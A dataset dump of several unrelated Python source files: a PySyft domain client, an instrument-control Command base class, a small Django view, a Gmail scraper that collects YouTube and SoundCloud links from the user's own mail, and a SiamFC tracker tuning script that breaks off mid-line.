here\")\n\n def __repr__(self) -> str:\n return repr(self.requests)\n\n @property\n def pandas(self) -> pd.DataFrame:\n request_lines = [\n {\n \"Requested Object's tags\": request.object_tags,\n \"Reason\": request.request_description,\n \"Request ID\": request.id,\n \"Requested Object's ID\": request.object_id,\n \"Requested Object's type\": request.object_type,\n }\n for request in self.requests\n ]\n return pd.DataFrame(request_lines)\n\n def add_handler(\n self,\n action: str,\n print_local: bool = False,\n log_local: bool = False,\n tags: Optional[List[str]] = None,\n timeout_secs: int = -1,\n element_quota: Optional[int] = None,\n ) -> None:\n handler_opts = self._validate_options(\n id=UID(),\n action=action,\n print_local=print_local,\n log_local=log_local,\n tags=tags,\n timeout_secs=timeout_secs,\n element_quota=element_quota,\n )\n\n self._update_handler(handler_opts, keep=True)\n\n def remove_handler(self, key: Union[str, int]) -> None:\n handler_opts = self.handlers[key]\n\n self._update_handler(handler_opts, keep=False)\n\n def clear_handlers(self) -> None:\n for handler in self.handlers.handlers:\n id_str = str(handler[\"id\"].value).replace(\"-\", \"\")\n self.remove_handler(id_str)\n\n def _validate_options(\n self,\n action: str,\n print_local: bool = False,\n log_local: bool = False,\n tags: Optional[List[str]] = None,\n timeout_secs: int = -1,\n element_quota: Optional[int] = None,\n id: Optional[UID] = None,\n ) -> Dict[str, Any]:\n handler_opts: Dict[str, Any] = {}\n if action not in [\"accept\", \"deny\"]:\n traceback_and_raise(Exception(\"Action must be 'accept' or 'deny'\"))\n handler_opts[\"action\"] = action\n handler_opts[\"print_local\"] = bool(print_local)\n handler_opts[\"log_local\"] = bool(log_local)\n\n handler_opts[\"tags\"] = []\n if tags is not None:\n for tag in tags:\n handler_opts[\"tags\"].append(tag)\n handler_opts[\"timeout_secs\"] = max(-1, int(timeout_secs))\n if element_quota is not None:\n handler_opts[\"element_quota\"] = max(0, int(element_quota))\n\n if id is None:\n id = UID()\n handler_opts[\"id\"] = id\n\n return handler_opts\n\n def _update_handler(self, request_handler: Dict[str, Any], keep: bool) -> None:\n # syft absolute\n from syft.core.node.common.node_service.request_handler import (\n UpdateRequestHandlerMessage,\n )\n\n msg = UpdateRequestHandlerMessage(\n address=self.client.address, handler=request_handler, keep=keep\n )\n self.client.send_immediate_msg_without_reply(msg=msg)\n\n\nclass RequestHandlerQueueClient:\n def __init__(self, client: Client) -> None:\n self.client = client\n\n @property\n def handlers(self) -> List[Dict]:\n # syft absolute\n from syft.core.node.common.node_service.request_handler import (\n GetAllRequestHandlersMessage,\n )\n\n msg = GetAllRequestHandlersMessage(\n address=self.client.address, reply_to=self.client.address\n )\n return validate_field(\n self.client.send_immediate_msg_with_reply(msg=msg), \"handlers\"\n )\n\n def __getitem__(self, key: Union[str, int]) -> Dict:\n \"\"\"\n allow three ways to get an request handler:\n 1. use id: str\n 2. use tag: str\n 3. use index: int\n \"\"\"\n if isinstance(key, str):\n matches = 0\n match_handler: Optional[Dict] = None\n for handler in self.handlers:\n if key in str(handler[\"id\"].value).replace(\"-\", \"\"):\n return handler\n if key in handler[\"tags\"]:\n matches += 1\n match_handler = handler\n if matches == 1 and match_handler is not None:\n return match_handler\n elif matches > 1:\n raise KeyError(\"More than one item with tag:\" + str(key))\n\n raise KeyError(\"No such request found for string id:\" + str(key))\n if isinstance(key, int):\n return self.handlers[key]\n else:\n raise KeyError(\"Please pass in a string or int key\")\n\n def __repr__(self) -> str:\n return repr(self.handlers)\n\n @property\n def pandas(self) -> pd.DataFrame:\n def _get_time_remaining(handler: dict) -> int:\n timeout_secs = handler.get(\"timeout_secs\", -1)\n if timeout_secs == -1:\n return -1\n else:\n created_time = handler.get(\"created_time\", 0)\n rem = timeout_secs - (time.time() - created_time)\n return round(rem)\n\n handler_lines = [\n {\n \"tags\": handler[\"tags\"],\n \"ID\": handler[\"id\"],\n \"action\": handler[\"action\"],\n \"remaining time (s):\": _get_time_remaining(handler),\n }\n for handler in self.handlers\n ]\n return pd.DataFrame(handler_lines)\n\n\nclass DomainClient(Client):\n\n domain: SpecificLocation\n requests: RequestQueueClient\n\n def __init__(\n self,\n name: Optional[str],\n routes: List[Route],\n domain: SpecificLocation,\n network: Optional[Location] = None,\n device: Optional[Location] = None,\n vm: Optional[Location] = None,\n signing_key: Optional[SigningKey] = None,\n verify_key: Optional[VerifyKey] = None,\n ):\n super().__init__(\n name=name,\n routes=routes,\n network=network,\n domain=domain,\n device=device,\n vm=vm,\n signing_key=signing_key,\n verify_key=verify_key,\n )\n\n self.requests = RequestQueueClient(client=self)\n\n self.post_init()\n\n self.groups = GroupRequestAPI(client=self)\n self.users = UserRequestAPI(client=self)\n self.roles = RoleRequestAPI(client=self)\n self.association = AssociationRequestAPI(client=self)\n self.datasets = DatasetRequestAPI(client=self)\n\n def load(\n self, obj_ptr: Type[Pointer], address: Address, pointable: bool = False\n ) -> None:\n content = {\n RequestAPIFields.ADDRESS: serialize(address)\n .SerializeToString() # type: ignore\n .decode(PyGridClientEnums.ENCODING),\n RequestAPIFields.UID: str(obj_ptr.id_at_location.value),\n RequestAPIFields.POINTABLE: pointable,\n }\n self._perform_grid_request(grid_msg=LoadObjectMessage, content=content)\n\n def setup(self, *, domain_name: Optional[str], **kwargs: Any) -> Any:\n\n if domain_name is None:\n domain_name = names.get_full_name() + \"'s Domain\"\n logging.info(\n \"No Domain Name provided... picking randomly as: \" + domain_name\n )\n\n kwargs[\"domain_name\"] = domain_name\n\n response = self.conn.setup(**kwargs) # type: ignore\n logging.info(response[RequestAPIFields.MESSAGE])\n\n def get_setup(self, **kwargs: Any) -> Any:\n return self._perform_grid_request(grid_msg=GetSetUpMessage, content=kwargs)\n\n def search(self, query: List, pandas: bool = False) -> Any:\n response = self._perform_grid_request(\n grid_msg=NetworkSearchMessage, content={RequestAPIFields.QUERY: query}\n )\n if pandas:\n response = DataFrame(response)\n\n return response\n\n def apply_to_network(\n self, target: Client, route_index: int = 0, **metadata: str\n ) -> None:\n self.association.create(source=self, target=target, metadata=metadata)\n\n def _perform_grid_request(\n self, grid_msg: Any, content: Optional[Dict[Any, Any]] = None\n ) -> SyftMessage:\n if content is None:\n content = {}\n # Build Syft Message\n content[RequestAPIFields.ADDRESS] = self.address\n content[RequestAPIFields.REPLY_TO] = self.address\n signed_msg = grid_msg(**content).sign(signing_key=self.signing_key)\n # Send to the dest\n response = self.send_immediate_msg_with_reply(msg=signed_msg)\n if isinstance(response, ExceptionMessage):\n raise response.exception_type\n else:\n return response\n\n @property\n def id(self) -> UID:\n return self.domain.id\n\n # # TODO: @Madhava make work\n # @property\n # def accountant(self):\n # \"\"\"Queries some service that returns a pointer to the ONLY real accountant for this\n # user that actually affects object permissions when used in a .publish() method. Other accountant\n # objects might exist in the object store but .publish() is just for simulation and won't change\n # the permissions on the object it's called on.\"\"\"\n\n # # TODO: @Madhava make work\n # def create_simulated_accountant(self, init_with_budget_remaining=True):\n # \"\"\"Creates an accountant in the remote store. If init_with_budget_remaining=True then the accountant\n # is a copy of an existing accountant. If init_with_budget_remaining=False then it is a fresh accountant\n # with the sam max budget.\"\"\"\n\n @property\n def device(self) -> Optional[Location]:\n \"\"\"This client points to a node, if that node lives within a device\n or is a device itself, this property will return the Location of that device\n if it is known by the client.\"\"\"\n\n return super().device\n\n @device.setter\n def device(self, new_device: Location) -> Optional[Location]:\n \"\"\"This client points to a node, if that node lives within a device\n or is a device itself and we learn the Location of that device, this setter\n allows us to save the Location of that device for use later. We use a getter\n (@property) and setter (@set) explicitly because we want all clients\n to efficiently save an address object for use when sending messages to their\n target. That address object will include this information if it is available\"\"\"\n\n traceback_and_raise(\n Exception(\"This client points to a domain, you don't need a Device ID.\")\n )\n\n @property\n def vm(self) -> Optional[Location]:\n \"\"\"This client points to a node, if that node lives within a vm\n or is a vm itself, this property will return the Location of that vm\n if it is known by the client.\"\"\"\n\n return super().vm\n\n @vm.setter\n def vm(self, new_vm: Location) -> Optional[Location]:\n \"\"\"This client points to a node, if that node lives within a vm\n or is a vm itself and we learn the Location of that vm, this setter\n allows us to save the Location of that vm for use later. We use a getter\n (@property) and setter (@set) explicitly because we want all clients\n to efficiently save an address object for use when sending messages to their\n target. That address object will include this information if it is available\"\"\"\n\n traceback_and_raise(\n Exception(\"This client points to a device, you don't need a VM Location.\")\n )\n\n def __repr__(self) -> str:\n no_dash = str(self.id).replace(\"-\", \"\")\n return f\"<{type(self).__name__}: {no_dash}>\"\n\n def update_vars(self, state: dict) -> pd.DataFrame:\n for ptr in self.store.store:\n tags = getattr(ptr, \"tags\", None)\n if tags is not None:\n for tag in tags:\n state[tag] = ptr\n return self.store.pandas\n\n def load_dataset(\n self,\n assets: Any,\n name: str,\n description: str,\n **metadata: TypeDict,\n ) -> None:\n # relative\n from ....lib.python.util import downcast\n\n metadata[\"name\"] = bytes(name, \"utf-8\") # type: ignore\n metadata[\"description\"] = bytes(description, \"utf-8\") # type: ignore\n\n for k, v in metadata.items():\n if isinstance(v, str): # type: ignore\n metadata[k] = bytes(v, \"utf-8\") # type: ignore\n\n assets = downcast(assets)\n metadata = downcast(metadata)\n\n binary_dataset = serialize(assets, to_bytes=True)\n\n self.datasets.create_syft(\n dataset=binary_dataset, metadata=metadata, platform=\"syft\"\n )\n","sub_path":"packages/syft/src/syft/core/node/domain/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":16292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"307394618","text":"import gc\nimport logging\nimport traceback\nimport weakref\nfrom typing import Dict\n\nfrom .exceptions import JumpException\nfrom ..devices import Motor\nfrom ..utils.callback import Callbacks, SignalFlags\nfrom ..utils.timeout import TimeOut, SingleIdleFunction\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\nclass CommandError(Exception):\n pass\n\n\nclass CommandTimeoutError(CommandError):\n pass\n\n\nclass CommandArgumentError(CommandError):\n pass\n\n\nclass CommandKilledError(CommandError):\n pass\n\n\nclass Command(Callbacks):\n \"\"\"This is an abstract base class for a command, which can be issued in\n order to do something on the instrument, e.g. move a motor or take an\n exposure.\n\n The `name` class variable is the command name: this will be used to\n determine which command has to be run from a command line. It must be\n unique among all derived classes.\n\n The life cycle of a Command instance is as follows:\n\n 1) It is instantiated either directly by Python code, or from a command\n line parsed by the interpreter (cct.core.services.interpreter.Interpreter\n instance). The __init__() method gets the following arguments:\n interpreter: the interpreter instance. The constructor of this abstract\n base class stores a weakref.proxy to it as self.interpreter.\n args: positional command arguments (you probably need them)\n kwargs: command keyword arguments (if you need them)\n namespace: a dictionary containing the variables accessible by the\n command.\n All of these are stored as instance variables of the same name. If you\n subclass Command, __init__() must perform some checks of the validity\n and range of the arguments and the presence or absence of certain\n variables in the namespace.\n\n 2) Very soon after this, the _execute() method is called (note the\n underscore!) by the interpreter. You should not overload this function,\n as it does the following:\n - check the validity of the arguments using self.validate()\n - call self.execute(), which does the actual execution.\n\n 3) self.validate() must return True if the arguments and the environment\n have met the criteria. It must raise an exception (subclass of\n CommandError) if something is wrong. In general, all types of validation\n must be done as soon as possible. E.g. number and type of arguments in\n self.__init__(), and the validity of motor soft limits in self.validate().\n\n 4) self.execute() is called if self.validate() returned True. It must\n _commence_ the execution of the command, but it _must_not_ finish it.\n It must return True if the execution of the command started successfully,\n and raise an instance of CommandError (or of one of its subclasses) if\n something went wrong.\n\n 5) When the command finishes, it must call self.cleanup(), which frees all\n allocated resources and emits the 'return' signal, notifying the\n interpreter that we are done.\n\n 6) If an error happens during execution of the command, the 'fail' signal\n has to be emitted. From this, the interpreter will know that something\n fatal has happened, and if it is in a middle of a script, it must not\n continue. However, the 'return' signal still has to be sent by calling\n self.cleanup().\n\n 7) self.kill() is a mechanism to prematurely stop the execution of the\n command. It must ensure that the instrument is idle and self.cleanup()\n is called as soon as possible, but not before returning from this function.\n\n The main idea is non-blocking operation: the main process (responsible for\n GUI operations) must never be kept busy too long. As many commands work on\n the instrument and cause changes in state varibles of the devices, the\n preferred way of operation is to install a callback handler to the\n 'variable-change' signal of the given devices, and call self.cleanup()\n when the appropriate variable has the appropriate value. To make things\n easier, the class variable `required_devices` can be a list with the\n names of the devices. Valid names are those which can be queried by\n cct.core.instrument.Instrument.get_device(). The method self._execute()\n connects the following signal handlers:\n 'variable-change' -> self.on_variable_change\n 'error' -> self.on_error\n 'disconnect' -> self.disconnect\n You can override these signal handlers. Of course, self.cleanup() takes\n care of disconnecting these.\n\n If you write a simple command, which does not interact with the instrument\n but takes time (e.g. sleep for a given time), you should install a GLib\n timeout function in self.execute(), which calls self.cleanup() when the\n needed time has elapsed.\n\n If the command is even more simple, i.e. the result can be determined by\n self.execute(), you should install a GLib idle handler, which calls\n self.cleanup(). For your convenience, self.idle_return() does just this.\n Just call this method with your desired return value. Once again, DO NOT\n CALL self.cleanup() FROM self.execute()!\n\n As a safety net, you can specify a timeout for a command either in the\n subclass definition or in __init__ by setting self.timeout to a positive\n number. If self.timeout is not None, self._execute() will install a GLib\n timeout handler after self.execute() returns. If self.cleanup() is not\n called before this time elapses, a 'fail' signal is emitted with a\n CommandTimeoutError, before the 'return' signal. This is done by the\n self.on_timeout() method, which you can override if you really need to.\n\n A similar feature is the `pulse_interval` class variable. If it is not\n None, but a positive number, self._execute() installs a GLib timeout\n handler after self.execute() returns. It will periodically call\n self.on_pulse(), which you can override to do the actual work. Take care\n that returning False from self.on_pulse() will inhibit further calling of\n this method, so always return True if you want to be called again. As you\n would expect, self.cleanup() removes the pulse handler. The most common job\n of the pulse handler is to give feedback to the user that the command is\n running. If you know exactly, how long it would take before finishing,\n consider emitting the 'progress' signal, where you can specify a fraction\n and a text message, to be used in a progress bar. If you do not know the\n exact duration of the command, emit the 'pulse' signal, which will just\n 'pulse' the progress bar to and fro, while also presenting a text message.\n\n Other signals can also be defined in subclasses.\n\n Once again, as a general rule, signals must not be emitted from\n self.execute() and self.kill() member functions. Use idle functions or\n callbacks for this.\n \"\"\"\n __signals__ = {\n # emitted when the command completes. Must be emitted exactly once.\n # This also must be the last signal emitted by the command. The single\n # argument is the return value of the command.\n 'return': (SignalFlags.RUN_FIRST, None, (object,)),\n # emitted on a failure. Can be emitted multiple times. The first\n # argument is an Exception instance, the second one is the traceback\n # formatted using traceback.format_exc()\n 'fail': (SignalFlags.RUN_LAST, None, (object, str)),\n # long running commands where the duration cannot be estimated in\n # advance, should emit this periodically (say in every second). The\n # string argument is a message detailing the current state of the\n # command (what it is doing presently).\n 'pulse': (SignalFlags.RUN_FIRST, None, (str,)),\n # long running commands where the duration can be estimated in advance,\n # should emit this signal periodically (e.g. in every second). The\n # first argument is a text message detailing the current state of the\n # command, while the float argument must be a number between 0 and 1,\n # the fraction of the job done up to now. It doesn't need to increase\n # in time. If needed, it can decrease also.\n 'progress': (SignalFlags.RUN_FIRST, None, (str, float)),\n # send occasional text messages to the command interpreter, to be\n # written to a terminal or logged at the INFO level.\n 'message': (SignalFlags.RUN_FIRST, None, (str,)),\n # can be sent to give the front-end command-dependent details. A\n # typical use case is the transmission command, which uses this\n # mechanism to notify the front-end of what it has currently been\n # doing. The single argument of this signal depends on the command,\n # but typically it should be a dict.\n 'detail': (SignalFlags.RUN_FIRST, None, (object,))\n }\n\n instance_count = 0\n\n name = '__abstract__'\n\n required_devices = []\n\n timeout = None # seconds\n\n pulse_interval = None # seconds\n\n def __new__(cls, *args, **kwargs):\n cls.instance_count += 1\n obj = super().__new__(cls)\n logger.debug('Instantiating a command. Number of instances including this: {:d}'.format(cls.instance_count))\n return obj\n\n def __init__(self, interpreter, args, kwargs, namespace):\n logger.debug('Initializing a command. Args: {}. Kwargs:{}. Namespace: {}.'.format(args, kwargs, namespace))\n super().__init__()\n try:\n self.interpreter = weakref.proxy(interpreter)\n except TypeError:\n if isinstance(interpreter, weakref.ProxyTypes):\n self.interpreter = interpreter\n else:\n raise\n self.args = args\n self.kwargs = kwargs\n self.namespace = namespace\n self._device_connections = {}\n self._timeout_handler = None\n self._pulse_handler = None\n self._returning = False\n\n def __del__(self):\n self.__class__.instance_count -= 1\n logger.debug('Deleting a command. Number of remaining instances: {:d}'.format(self.__class__.instance_count))\n\n @property\n def instrument(self):\n return self.interpreter.instrument\n\n @property\n def services(self):\n return self.interpreter.instrument.services\n\n @property\n def config(self) -> Dict:\n return self.interpreter.instrument.config\n\n def get_device(self, name: str):\n return self.interpreter.instrument.get_device(name)\n\n def get_motor(self, motorname: str) -> Motor:\n return self.interpreter.instrument.motors[motorname]\n\n def validate(self):\n \"\"\"Check the validity of self.args and self.kwargs.\n\n If everything is OK, it should return True. Otherwise\n an appropriate exception, a subclass of CommandError\n should be raised.\"\"\"\n return True\n\n def _execute(self):\n self._returning = False\n logger.debug('Executing command {}'.format(self.name))\n if not self.validate():\n logger.error('Validation of command parameters for command {} failed.')\n raise CommandError('Validation of command parameters for command {} failed.'.format(self.name))\n logger.debug('Connecting required devices for command {}'.format(self.name))\n self._connect_devices()\n if self.timeout is not None:\n logger.debug('Starting timeout of {:f} seconds'.format(self.timeout))\n self._timeout_handler = TimeOut(self.timeout * 1000, self.on_timeout)\n if self.pulse_interval is not None:\n logger.debug('Starting pulser of {:f} seconds interval'.format(self.pulse_interval))\n self._pulse_handler = TimeOut(self.pulse_interval * 1000, self.on_pulse)\n try:\n logger.debug('Running execute() method of command {}'.format(self.name))\n retval = self.execute()\n except JumpException as je:\n self.cleanup(None, noemit=True)\n raise\n except Exception as exc:\n logger.error('Error running command {}: {} {}'.format(self.name, str(exc), traceback.format_exc()))\n self.cleanup(None, noemit=True)\n raise\n return retval\n\n def execute(self):\n \"\"\"Start the execution of the command.\"\"\"\n raise NotImplementedError\n\n def kill(self):\n \"\"\"Stop running the current command. The default version emits a 'fail'\n signal and cleans up.\"\"\"\n logger.warning('Killing command {}'.format(self.name))\n try:\n raise CommandKilledError('Command {} killed.'.format(self.name))\n except CommandKilledError as cke:\n self.emit('fail', cke, traceback.format_exc())\n logger.debug('Calling idle_return() from Command.kill()')\n self.idle_return(None)\n\n def cleanup(self, returnvalue: object = None, noemit=False):\n \"\"\"Must be called after execution finished.\"\"\"\n logger.debug('Cleaning up command {}'.format(self.name))\n if self._timeout_handler is not None:\n self._timeout_handler.stop()\n logger.debug('Timeout handler of command {} removed'.format(self.name))\n self._timeout_handler = None\n if self._pulse_handler is not None:\n self._pulse_handler.stop()\n logger.debug('Pulse handler of command {} removed'.format(self.name))\n self._pulse_handler = None\n logger.debug('Disconnecting required devices of command {}'.format(self.name))\n self._disconnect_devices()\n logger.debug('Disconnected required devices of command {}'.format(self.name))\n if not noemit:\n self.emit('return', returnvalue)\n for attr in ['args', 'kwargs', 'namespace', 'interpreter']:\n try:\n delattr(self, attr)\n except AttributeError:\n continue\n gc.collect()\n\n def on_timeout(self):\n try:\n raise CommandTimeoutError('Command {} timed out after {:f} seconds'.format(self.name, self.timeout))\n except CommandTimeoutError as exc:\n self.emit('fail', exc, traceback.format_exc())\n self.cleanup(None)\n\n def on_pulse(self):\n return True\n\n def _connect_devices(self):\n for d in self.required_devices:\n dev = self.get_device(d)\n self._device_connections[d] = [\n dev.connect('variable-change', self.on_variable_change),\n dev.connect('error', self.on_error),\n dev.connect('disconnect', self.on_disconnect),\n ]\n if isinstance(dev, Motor):\n self._device_connections[d].extend([\n dev.connect('position-change', self.on_motor_position_change),\n dev.connect('stop', self.on_motor_stop)\n ])\n logger.debug('Connected required device {} for command {}'.format(d, self.name))\n\n def _disconnect_devices(self):\n for d in list(self._device_connections.keys()):\n dev = self.get_device(d)\n for c in self._device_connections[d]:\n dev.disconnect(c)\n del self._device_connections[d]\n self._device_connections = {}\n\n def on_variable_change(self, device, variablename, newvalue):\n return False\n\n def on_error(self, device, variablename, exc, tb):\n \"\"\"Emit the 'fail' signal\"\"\"\n self.emit('fail', exc, tb)\n return False\n\n def on_disconnect(self, device, because_of_failure):\n \"\"\"Emit a fail signal.\"\"\"\n self.emit('fail', CommandError(\n 'Sudden disconnect of device ' + device.name), 'no traceback')\n return False\n\n def on_motor_position_change(self, motor, newposition):\n return False\n\n def on_motor_stop(self, motor, targetreached):\n return False\n\n def idle_return(self, value):\n \"\"\"Convenience function to schedule an idle function to return.\"\"\"\n if self._returning:\n return\n self._returning = True\n logger.debug('Instantiating an Idle function')\n SingleIdleFunction(self.cleanup, value)\n\n @classmethod\n def allcommands(cls):\n all_commands = []\n subclasses = cls.__subclasses__()\n while True:\n all_commands.extend(\n [s for s in subclasses if not (s.name.startswith('_'))])\n newsubclasses = []\n for sc in [x for x in [c.__subclasses__()\n for c in subclasses] if x]:\n newsubclasses.extend(sc)\n subclasses = newsubclasses\n if not subclasses:\n break\n del subclasses\n return all_commands\n\n @classmethod\n def __str__(cls):\n return cls.name\n\n def do_return(self, retval):\n logger.debug('Returning from command {} with value {}'.format(self.name, retval))\n\n\ndef cleanup_commandline(commandline):\n \"\"\"Clean up the commandline: remove trailing spaces and comments\"\"\"\n\n commandline = commandline.strip() # remove trailing whitespace\n instring = None\n for i in range(len(commandline)):\n if commandline[i] in ['\"', \"'\"]:\n if instring == commandline[i]:\n instring = None\n elif instring is None:\n instring = commandline[i]\n if (commandline[i] == '#') and (instring is None):\n return commandline[:i].strip()\n if instring is not None:\n raise ValueError('Unterminated string in command line', commandline)\n return commandline.strip()\n","sub_path":"cct/core/commands/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":17535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"364624470","text":"from django.shortcuts import render\n\ndef home(request):\n\n questionBase = \"hello\"\n question1 = \"you\"\n question2 = \"and you\"\n answer1 = \"yo\"\n answer2 = \"and yo\"\n nextPage = \"\"\n prevPage = \"\"\n\n\n return render(request,\"questionAnswerButtons.html\", {\"questionBase\":questionBase, \"question1\":question1, \"question2\":question2, \"answer1\":answer1, \"answer2\":answer2})\n\ndef experiment(request):\n return render(request,\"questionAnswer.html\")","sub_path":"gcsebiology/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"516839413","text":"import re\nimport json\nimport base64\nimport quopri\nimport logging\nimport requests\nimport urlparse\n\nfrom models import Track\n\nlogger = logging.getLogger(__name__)\n\nfrom social.apps.django_app.default.models import UserSocialAuth\n\ndef scrape_gmail(google_social_auth_id, start, end):\n '''\n main function, fetches emails from gmail with\n different queries and processes results\n '''\n logger.info('Processing emails from %s to %s' % (start, end))\n google = UserSocialAuth.objects.get(pk=google_social_auth_id)\n\n all_emails = set()\n join_all_ids(all_emails, fetch_emails(google, start, end, 'youtube.com'))\n join_all_ids(all_emails, fetch_emails(google, start, end, 'youtu.be'))\n join_all_ids(all_emails, fetch_emails(google, start, end, 'soundcloud.com'))\n logger.info('Found %d distinct emails' % len(all_emails))\n fetch_youtube_video_ids(all_emails, google)\n logger.info('Scraping finished.')\n\ndef fetch_emails(google, start, end, query):\n '''\n does a query in gmail and returns message ids\n '''\n q = '%s after:%s before:%s' % (query, start, end)\n logger.debug('making request to gmail ' + q)\n email = google.uid\n access_token = google.extra_data['access_token']\n response = requests.get(\n 'https://www.googleapis.com/gmail/v1/users/%s/messages' % email,\n params={'access_token': access_token,'q': q}\n )\n if response.status_code == 200:\n data = json.loads(response.text)\n if 'resultSizeEstimate' in data and data['resultSizeEstimate'] == 0:\n return []\n elif 'messages' in data:\n return data['messages']\n else:\n message = \"no messages in %s\" % response.text\n logger.error(message)\n return []\n else:\n message = 'response %d %s' % (response.status_code, response.text)\n logger.error(message)\n return []\n\ndef fetch_youtube_video_ids(messages_ids, google):\n '''\n fetches email contents, looks for urls and processes urls\n '''\n access_token = google.extra_data['access_token']\n email = google.uid\n user = google.user\n\n logger.info('fetching email contents for ' + email)\n\n #save_urls = set()\n seen_urls = set()\n\n for message_id in messages_ids:\n logger.debug('fetching content for message %s' % message_id)\n response = requests.get(\n 'https://www.googleapis.com/gmail/v1/users/%s/messages/%s' % (email, message_id),\n params={'access_token': access_token,'format': 'raw'}\n )\n message = json.loads(response.text)\n message = base64.urlsafe_b64decode(message['raw'].encode('latin-1'))\n message = quopri.decodestring(message)\n regex = '(http|ftp|https)(://)([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?'\n urls = re.findall(regex, message)\n urls = map(lambda x : ''.join(x), urls)\n email_urls = set(urls)\n urls = email_urls - seen_urls\n logger.info('found %d distinct urls - %d new - in email %s' % (len(email_urls), len(urls), message_id))\n\n for url in urls:\n if url in seen_urls: continue\n seen_urls.add(url)\n\n reduced_url = reduce_url(url)\n final_url = url\n # This line unfurls the URL with a HEAD request that follows redirects\n logger.debug('original url %s' % reduced_url)\n try:\n response = requests.head(url, allow_redirects=True)\n except Exception as e:\n logger.warn('%s - %s' % (e, url))\n continue\n\n if response.status_code == 200:\n final_url = response.url # The response contains the unfurled URL\n if url != final_url:\n logger.debug('unfurled url ' + reduce_url(final_url))\n else:\n logger.info('status code %d for %s' %(response.status_code, url))\n\n if is_youtube(final_url) or is_soundcloud(final_url):\n logger.info('keeping %s from %s' % (reduced_url,message_id))\n #don't save, process immediately\n #save_urls.add(final_url)\n process_video_url(url, user)\n else:\n logger.debug('discarding ' + reduced_url)\n\n #logger.info('found %d interesting urls' % len(save_urls))\n #for url in save_urls:\n # process_video_url(url, user)\n\ndef process_video_url(url, user):\n '''\n process one url\n '''\n reduced_url = reduce_url(url)\n if is_youtube(url):\n fetch_video_info(url, user, 'http://www.youtube.com/oembed', 'youtube')\n elif is_soundcloud(url):\n fetch_video_info(url, user, 'http://soundcloud.com/oembed', 'soundcloud')\n else:\n logger.debug('ignoring %s' % reduced_url)\n\n\ndef fetch_video_info(url, user, embed_service_url, track_type):\n '''\n fetches the video info from youtube/soundcloud\n '''\n reduced_url = reduce_url(url)\n if Track.objects.filter(link=url,user_id=user.id).exists():\n logger.info('track already exists for user %s - %s' % (user, reduced_url))\n return\n\n logger.debug('getting info for %s video %s' % (track_type, reduced_url))\n track = True\n try:\n response = requests.get(embed_service_url, params={'url': url,'format': 'json'})\n except Exception as e:\n logger.error(e)\n return\n if response.status_code != 200:\n logger.warn('status code %d for %s' % (response.status_code, reduced_url))\n return\n\n data = json.loads(response.text)\n title = data['title'].encode('ascii','ignore') if 'title' in data else ''\n thumbnail = data['thumbnail_url'] if 'thumbnail_url' in data else ''\n author = data['author_name'] if 'author_url' in data else ''\n author_url = data['author_url'] if 'author_url' in data else ''\n html = data['html'] if 'html' in data else ''\n save_track_info(user, url, html, title, author, author_url, thumbnail, track_type)\n\ndef save_track_info(user, url, embed, title, author, author_url, thumbnail, track_type):\n '''\n saves the track info\n only if the video is not in the DB for that user\n '''\n reduced_url = reduce_url(url)\n if Track.objects.filter(link=url,user_id=user.id).exists():\n logger.info('track already exists for user %s - %s' % (user, reduced_url))\n else:\n logger.info('adding track for user %s - %s' % (user, reduced_url))\n track = Track(\\\n user_id=user.id, \\\n link=url, \\\n embed=embed,\\\n title=title, \\\n author=author, \\\n author_link=author_url, \\\n thumbnail=thumbnail, \\\n track_type=track_type)\n track.save()\n\n### HELPER FUNCS ###\ndef join_all_ids(all_emails, emails):\n all_emails.update(map(lambda x: x['id'], emails))\n\ndef reduce_url(url, length=64):\n if len(url) > length:\n url = url[:(length-3)] + '...'\n return url\n#TODO improve these filters\ndef is_youtube(url):\n return 'youtube' in url or 'youtu.be' in url\ndef is_soundcloud(url):\n return 'soundcloud' in url\n","sub_path":"gscrapweb/scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":7062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"154759893","text":"from __future__ import absolute_import\n\nimport os\nfrom got10k.experiments import *\n\nfrom siamfc import SiamFCTracker\nimport argparse\nimport multiprocessing\nmultiprocessing.set_start_method('spawn',True)\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n\nfrom siamfc.utils import get_logger \nimport logging \nimport numpy as np \n\ndef parse_range(range_str):\n param = list(map(float, range_str.strip().split(',')))\n #return np.arange(*param)\n return np.array(param)\n\ndef parse_range_int(range_str):\n param = list(map(int, range_str.strip().split(',')))\n #return np.arange(*param)\n return np.array(param)\n\nlogger = get_logger('./models/logs/help_search.log')\n\nif __name__=='__main__':\n\n parser = argparse.ArgumentParser(description='siamrpn tracking')\n \n # best instance_size=271 lr_box=0.25 penalty_k=0.20 window_influence=0.40 效果最好 0.814(1) 0.603(1)\n \n parser.add_argument('--model_path', default='./models/siamfcres22_30.pth', type=str, help='eval one special video')\n \n parser.add_argument('--scale_lr',default='0.59', type=parse_range,help='lr_box')# \n parser.add_argument('--window_influence', default='0.126', type=parse_range,help='config file') \n parser.add_argument('--scale_penalty', default='0.9745', type=parse_range,help='snapshot of models to eval')\n parser.add_argument('--instance_size', default='255', type=parse_range_int, help='eval one special video')\n #parser.add_argument('--vis', action='store_true',help='whether visualzie result')\n \n args = parser.parse_args()\n # 默认\n cfg = {'scale_lr': 0.59, 'window_influence': 0.126, 'scale_penalty': 0.9745, 'instance_size': 255} # 0.65\n \n logger.info('start training!')\n logger.info(args.model_path)\n \n Sum=len(args.instance_size)*len(args.scale_lr)*len(args.scale_penalty)*len(args.window_influence)\n count=0\n\n max_prec,max_succ=0,0\n index_prec,index_succ=1,1\n \n for i in args.instance_size:\n cfg['instance_size']=i\n\n for l in args.scale_lr:\n cfg['scale_lr']=l\n\n for k in args.scale_penalty:\n cfg['scale_penalty']=k \n\n for w in args.window_influence:\n cfg['window_influence']=w\n\n count+=1\n\n tracker = SiamFCTracker(args.model_path,True,0,cfg)\n # root_dir = 